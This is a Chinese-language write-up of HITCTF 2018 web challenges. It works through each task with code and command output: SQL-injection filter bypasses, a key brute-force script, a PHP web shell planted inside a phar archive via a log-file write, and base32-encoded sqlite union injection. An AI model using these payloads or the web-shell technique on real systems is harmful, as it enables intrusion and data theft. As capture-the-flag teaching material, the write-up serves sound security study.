PHP reading
- 上掃描器掃出index.php.bak 下載"源碼"
<?php
eval(base64_decode('JGZsYWc9JF9HRVRbJ2FzZGZnanh6a2FsbGdqODg1MiddO2lmKCRmbGFnPT0nSDFUY3RGMjAxOEV6Q1RGJyl7ZGllKCRmbGFnKTt9ZGllKCdlbW1tbScpOw=='))
?>
里面的內(nèi)容base64decode之后是源碼
$flag=$_GET['asdfgjxzkallgj8852'];if($flag=='H1TctF2018EzCTF'){die($flag);}die('emmmm');
輸入urlhttp://198.13.58.35:8899?asdfgjxzkallgj8852= H1TctF2018EzCTF
之后得到flag
BabyEval
- 進(jìn)入之后查看html源碼發(fā)現(xiàn)題目源碼
<!--
$str=@(string)$_GET['str'];
blackListFilter($black_list, $str);
eval('$str="'.addslashes($str).'";');
-->
- 以前一航師傅分析過(guò)這一題
http://www.reibang.com/p/dd72566ca4df
我覺(jué)得可能是可變變量的簡(jiǎn)寫(xiě)形式導(dǎo)致的這個(gè)問(wèn)題,如文檔所說(shuō)
$aaa = 'phpinfo';
$b = 'aaa';
echo $$b; //輸出phpinfo
////////////
$a = 'phpinfo';
$b = 'aaa';
echo ${$b}; //也輸出phpinfo
//則以下也是正確的
echo ${'aaa'}; //也輸出phpinfo
echo ${'a'+'aa'}; //也輸出phpinfo
做了一下嘗試,花括號(hào)內(nèi)是可以執(zhí)行運(yùn)算的,并且會(huì)強(qiáng)制類型轉(zhuǎn)換成字符串,猜測(cè)是類似一個(gè)eval再?gòu)?qiáng)制轉(zhuǎn)換成字符串?留個(gè)坑...以后研究源碼的時(shí)候再看看....
BabyLeakage
-
題目瘋狂引導(dǎo)我們?nèi)ナ箲?yīng)用出錯(cuò)通知
錦囊 -
首先試一試url方面
route_error -
逐個(gè)嘗試之后在news/auth路由下發(fā)現(xiàn)了一個(gè)奇怪的報(bào)錯(cuò)
error
其中更是爆出了mysql的賬號(hào)密碼info -
我們探測(cè)一下該ip的mysql默認(rèn)端口的情況mysql-3306
-
既然開(kāi)啟的話我們嘗試遠(yuǎn)程登錄
mysql-login
bingo!
最后在F1agIsHere庫(kù)的表描述下找到flag
mysql> use F1agIsHere;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
+----------------------+
| Tables_in_F1agIsHere |
+----------------------+
| a |
| f |
| g |
| l |
+----------------------+
4 rows in set (0.05 sec)
mysql> describe f;
+-------+------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+------+------+-----+---------+-------+
| H | text | YES | | NULL | |
| I | text | YES | | NULL | |
| TC | text | YES | | NULL | |
| T | text | YES | | NULL | |
| F | text | YES | | NULL | |
+-------+------+------+-----+---------+-------+
5 rows in set (0.04 sec)
mysql> describe l;
+---------+------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+---------+------+------+-----+---------+-------+
| { | text | YES | | NULL | |
| C10se_ | text | YES | | NULL | |
| Debu91n | text | YES | | NULL | |
+---------+------+------+-----+---------+-------+
3 rows in set (0.05 sec)
mysql> describe a;
+----------+------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+----------+------+------+-----+---------+-------+
| fo_Is_Im | text | YES | | NULL | |
| mmp | text | YES | | NULL | |
| ort | text | YES | | NULL | |
+----------+------+------+-----+---------+-------+
3 rows in set (0.05 sec)
mysql> describe g;
+-------+------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+------+------+-----+---------+-------+
| 4n7 | text | YES | | NULL | |
| } | text | YES | | NULL | |
+-------+------+------+-----+---------+-------+
2 rows in set (0.06 sec)
mysql>
BabyInjection
- 題目給了源碼
<?php
error_reporting(0);
if (!isset($_POST['username']) || !isset($_POST['passwd'])) {
echo 'Login and get the flag';
echo '<form action="" method="post">'."<br/>";
echo '<input name="username" type="text" placeholder="username"/>'."<br/>";
echo '<input name="passwd" type="text" placeholder="passwd"/>'."<br/>";
echo '<input type="submit" ></input>'."<br/>";
echo '</form>'."<br/>";
die;
}
$flag = '';
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)|like|rlike|regexp|limit|or";
$username = $_POST['username'];
$passwd = $_POST['passwd'];
if (preg_match("/".$filter."/is",$username)==1){
die("Hacker hacker hacker~");
}
if (preg_match("/".$filter."/is",$passwd)==1){
die("Hacker hacker hacker~");
}
$conn = mysqli_connect();
$query = "SELECT * FROM users WHERE username='{$username}';";
echo $query."<br>";
$query = mysqli_query($conn, $query);
if (mysqli_num_rows($query) == 1){
$result = mysqli_fetch_array($query);
if ($result['passwd'] == $passwd){
die('you did it and this is your flag: '.$flag);
}
else{
die('Wrong password');
}
}
else{
die('Wrong username');
}
- ban掉了很多關(guān)鍵字
而且從ban list里面感覺(jué)到出題人并不是想我們找出真正的密碼,而是單純的繞過(guò),是以前碰到的一個(gè)題目的套路,首先可以用group by passwd with rollup來(lái)制造一個(gè)空行(利用統(tǒng)計(jì)函數(shù),查詢結(jié)果多一行并且passwd為空),這里本來(lái)可以直接用limit篩選出我們需要的那個(gè)空行,但是這里limit被ban了,沒(méi)關(guān)系,還可以用having子句來(lái)篩選出我們需要的帶有空字段的行,因?yàn)閔aving子句是再分組查詢之后再執(zhí)行的,所以最后post payload如下username='|| 1 group by passwd with rollup having passwd is null#&passwd=
mysql> use test;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> describe test;
+-------+--------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+--------------+------+-----+---------+-------+
| id | int(11) | NO | PRI | NULL | |
| phone | varchar(255) | YES | | NULL | |
+-------+--------------+------+-----+---------+-------+
2 rows in set (0.00 sec)
mysql> select * from test;
+----+---------+
| id | phone |
+----+---------+
| 1 | ' or 1# |
+----+---------+
1 row in set (0.00 sec)
mysql> select id,phone from test where id=0 or 1 group by id,phone with rollup;
+----+---------+
| id | phone |
+----+---------+
| 1 | ' or 1# |
| 1 | NULL |
| NULL | NULL |
+----+---------+
3 rows in set (0.00 sec)
mysql> select id,phone from test where id=0 or 1 group by id with rollup;
+----+---------+
| id | phone |
+----+---------+
| 1 | ' or 1# |
| NULL | ' or 1# |
+----+---------+
2 rows in set (0.00 sec)
mysql> select id,phone from test where id=0 or 1 group by phone with rollup;
+----+---------+
| id | phone |
+----+---------+
| 1 | ' or 1# |
| 1 | NULL |
+----+---------+
2 rows in set (0.00 sec)
mysql> select id,phone from test where id=0 or 1 group by phone with rollup having phone is null;
+----+-------+
| id | phone |
+----+-------+
| 1 | NULL |
+----+-------+
1 row in set (0.01 sec)
mysql>
小電影
ffmpeg的漏洞http://www.freebuf.com/column/142775.html
exp : https://github.com/neex/ffmpeg-avi-m3u-xbin
根據(jù)html源碼提示利用exp去讀flag文件即可
SecurePY
hint說(shuō)python的緩存,并且給了uwsgi的配置項(xiàng)
在http://123.206.83.157:8000/__pycache__/app.cpython-35.pyc下載源碼,源碼如下:
#!/usr/bin/env python
# visit http://tool.lu/pyc/ for more information
from flask import Flask, request, jsonify, render_template
from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex
import os
app = Flask(__name__)
flag_key = os.environ['KEY']
flag_enc = '9cf742955633f38d9c628bc9a9f98db042c6e4273a99944bc4cd150a0f7b9f317f52030329729ccf80798690667a0add'
def index():
return render_template('index.html', flag_enc = flag_enc)
index = app.route('/')(index)
def getflag():
req = request.json
if not req:
return jsonify(result = False)
if None not in req:
return jsonify(result = False)
key = req['key']
if len(key) != len(flag_key):
return jsonify(result = False)
for (x, y) in zip(key, flag_key):
if ord(x) ^ ord(y):
return jsonify(result = False)
cryptor = AES.new(key, AES.MODE_CBC, b'0000000000000000')
plain_text = cryptor.decrypt(a2b_hex(flag_enc))
flag = plain_text.decode('utf-8').strip()
return jsonify(result = True, flag = flag)
getflag = app.route('/getflag', methods = [
'POST'])(getflag)
if __name__ == '__main__':
app.run()
- 首先f(wàn)lag是經(jīng)過(guò)AES加密的,我們需要找到key去解密,而且我們得先知道key的長(zhǎng)度(在這里很明顯是16位),然后題目有一處逐位比較的地方,
ord(x) ^ ord(y)
,通過(guò)這個(gè)地方我們能一位位構(gòu)造爆破,但是問(wèn)題是我們?nèi)绾螀^(qū)別爆破成功和爆破失敗? - 這里涉及到python的序列化json后轉(zhuǎn)換的對(duì)象問(wèn)題,https://docs.python.org/3/library/json.html#encoders-and-decoders
如果遇到null就會(huì)被轉(zhuǎn)換成None,遇到ord(None)的時(shí)候python就會(huì)拋出錯(cuò)誤error500 error
return false
這樣的話我們就能夠根據(jù)是否500來(lái)爆破我們需要的key了
爆破腳本
import requests
se = requests.Session()
key = [None,None,None,None,None,None,None,None,None,None,None,None,None,None,None,None]
realkey = ''
for x in xrange(0,16):
for y in xrange(32,128):
key[x] = str(chr(y))
test = {"key" : key}
res = se.post('http://123.206.83.157:8000/getflag',json=test)
# print res.content
# exit()
if '500' in res.content:
print str(chr(y))
realkey += str(chr(y))
break
print realkey
得到key : 5ecur3pPYpyPYk3y
提交之后得到flag
參考:https://chybeta.github.io/2017/09/05/TWCTF-2017-Super-Secure-Storage-writeup/
BabyWrite
-
一看到這個(gè)url就想到了這個(gè)login很有可能是login.php被包含進(jìn)來(lái)的, 遂直接訪問(wèn)login.php發(fā)現(xiàn)是可以的,所以直接用偽協(xié)議讀取文件內(nèi)容
php wrapper
源碼如下:
<!DOCTYPE html>
<html>
<head>
<title>CTF</title>
</head>
<body>
???é??解é????′?¤????è??
<form action="login.php" method="POST">
??¨??·??? : <input name="username" placeholder="username"><br/>
?ˉ?? ? : <input name="password" placeholder="password"><br/><br/>
<input type="submit" value="???é??">
</form>
</body>
</html>
<?php
require_once('config.php');
if(isset($_POST['username']) && isset($_POST['password'])){
$username = $_POST['username'];
$password = $_POST['password'];
if ($username === "admin" && sha1(md5($password)) === $admin_hash){
echo '<script>alert("Login seccess!");</script>';
}else{
if (isset($_GET['debug'])){
if($_GET['debug'] === 'hitctf'){
$logfile = "log/".$username.".log";
$content = $username." => ".$password;
file_put_contents($logfile, $content);
}else{
echo '<script>alert("Login failed!");</script>';
}
}else{
echo '<script>alert("Login failed!");</script>';
}
}
}else{
echo '<script>alert("Please input username and password!");</script>';
}
?>
- 從源碼我們可以知道就算我們不登錄也沒(méi)有啥問(wèn)題,提交debug參數(shù)之后可以任意寫(xiě)入文件內(nèi)容到log后綴的文件中,這里限定死了后綴,也就是無(wú)法直接用文件包含getShell(此題包含時(shí)后綴要求是php),但是可以利用zip和phar偽協(xié)議包含,但是這里有個(gè)問(wèn)題, 題目會(huì)在文件前加上 username => password ,這樣的字符串有可能會(huì)破壞文件格式導(dǎo)致解壓失敗. 一葉飄零大佬是直接構(gòu)造出了zip,http://skysec.top/2018/02/01/HITCTF-WEB%E9%A2%98%E8%A7%A3/
其實(shí)用phar也可以做, 并且不用顧及格式問(wèn)題,因?yàn)閜har在解壓的時(shí)候先尋找stub部分,也就是<?php ?>標(biāo)簽內(nèi)的內(nèi)容(會(huì)將前面的忽略),所以只要stub結(jié)構(gòu)完整就ok了 - 構(gòu)造phar
<?php
$p = new Phar('Pr0ph3t.phar', 0);
$p['shit.php'] = '<?php system($_GET[\'uuu\']); ?>';
$p->setStub('<?php __HALT_COMPILER(); ?>');
?>
寫(xiě)入log
post username為Pr0ph3t段誊、password為生成的phar內(nèi)容到http://120.24.215.80:10012/?page=login&debug=hitctf
但是這里并不能直接用phar偽協(xié)議去包含,因?yàn)閜har文件被修改過(guò)了,所以sha1簽名對(duì)應(yīng)不上,不會(huì)被解壓 所以下一步是修改文件sha1-
下載被修改的log
訪問(wèn)http://120.24.215.80:10012/log/Pr0ph3t.log
得到被修改后的phar文件被修改之后的phar文件
其中被選中部分是這個(gè)phar的sha1簽名(http://php.net/manual/en/phar.fileformat.phar.php) -
計(jì)算新sha1并更改上傳新phar
舊phar
被修改之后的phar(除去校驗(yàn)部分)
計(jì)算新sha1
更改剛才的選中部分
新phar
然后再次寫(xiě)入新phar到log -
getShell
getShell flag在根目錄下
BabyQuery
- 一個(gè)關(guān)于GraphQL的注入
GraphQL的介紹http://graphql.cn/
簡(jiǎn)單來(lái)說(shuō)GraphQL就是一種介于數(shù)據(jù)庫(kù)和客戶端的一種類似于api的查詢語(yǔ)言,客戶并不直接告訴數(shù)據(jù)庫(kù)需要的數(shù)據(jù),而是GraphQL來(lái)告訴數(shù)據(jù)庫(kù)客戶需要什么數(shù)據(jù),極大的避免了注入 - 但是這題用GraphQL的時(shí)候沒(méi)有很好的過(guò)濾完全
-
首先getscorebyid這個(gè)操作是沒(méi)問(wèn)題的 id字段的內(nèi)容base32encode過(guò)的,并且限制一位,無(wú)法注入base32
-
然后嘗試看看有沒(méi)有其他操作其他操作
-
有g(shù)etscorebyyourname操作,猜測(cè)這個(gè)操作應(yīng)該有name字段不能查詢id
這個(gè)操作不能查詢id,去掉
-
正常查詢正常查詢
- 嘗試一下存不存在注入
Alice
||
IFWGSY3F (base32encode)
Alice' and 1 --+
||
IFWGSY3FE4QGC3TEEAYSALJNFM======
Alice' and 0 --+
||
IFWGSY3FE4QGC3TEEAYCALJNFM======
是存在注入的
- 下一步就是判斷數(shù)據(jù)庫(kù)類型
a' union select version() --+
||
METSA5LONFXW4IDTMVWGKY3UEB3GK4TTNFXW4KBJEAWS2KY=
不是mysql
a' union select sqlite_version() --+
||
METSA5LONFXW4IDTMVWGKY3UEBZXC3DJORSV65TFOJZWS33OFAUSALJNFM======
確認(rèn)數(shù)據(jù)庫(kù)為sqlite
- 表
a' union select group_concat(name) from sqlite_master where type='table' --+
||
METSA5LONFXW4IDTMVWGKY3UEBTXE33VOBPWG33OMNQXIKDOMFWWKKJAMZZG63JAONYWY2LUMVPW2YLTORSXEIDXNBSXEZJAOR4XAZJ5E52GCYTMMUTSALJNFM======
- 列
a' union select group_concat(sql) from sqlite_master where type='table' and name='Secr3t_fl4g'--+
||
METSA5LONFXW4IDTMVWGKY3UEBTXE33VOBPWG33OMNQXIKDTOFWCSIDGOJXW2IDTOFWGS5DFL5WWC43UMVZCA53IMVZGKIDUPFYGKPJHORQWE3DFE4QGC3TEEBXGC3LFHUTVGZLDOIZXIX3GNQ2GOJZNFUVQ====
- getFlag
a' union select group_concat(flag) from Secr3t_fl4g --+
||
METSA5LONFXW4IDTMVWGKY3UEBTXE33VOBPWG33OMNQXIKDGNRQWOKJAMZZG63JAKNSWG4RTORPWM3BUM4QC2LJL
感覺(jué)自己越打越菜了....Orz...........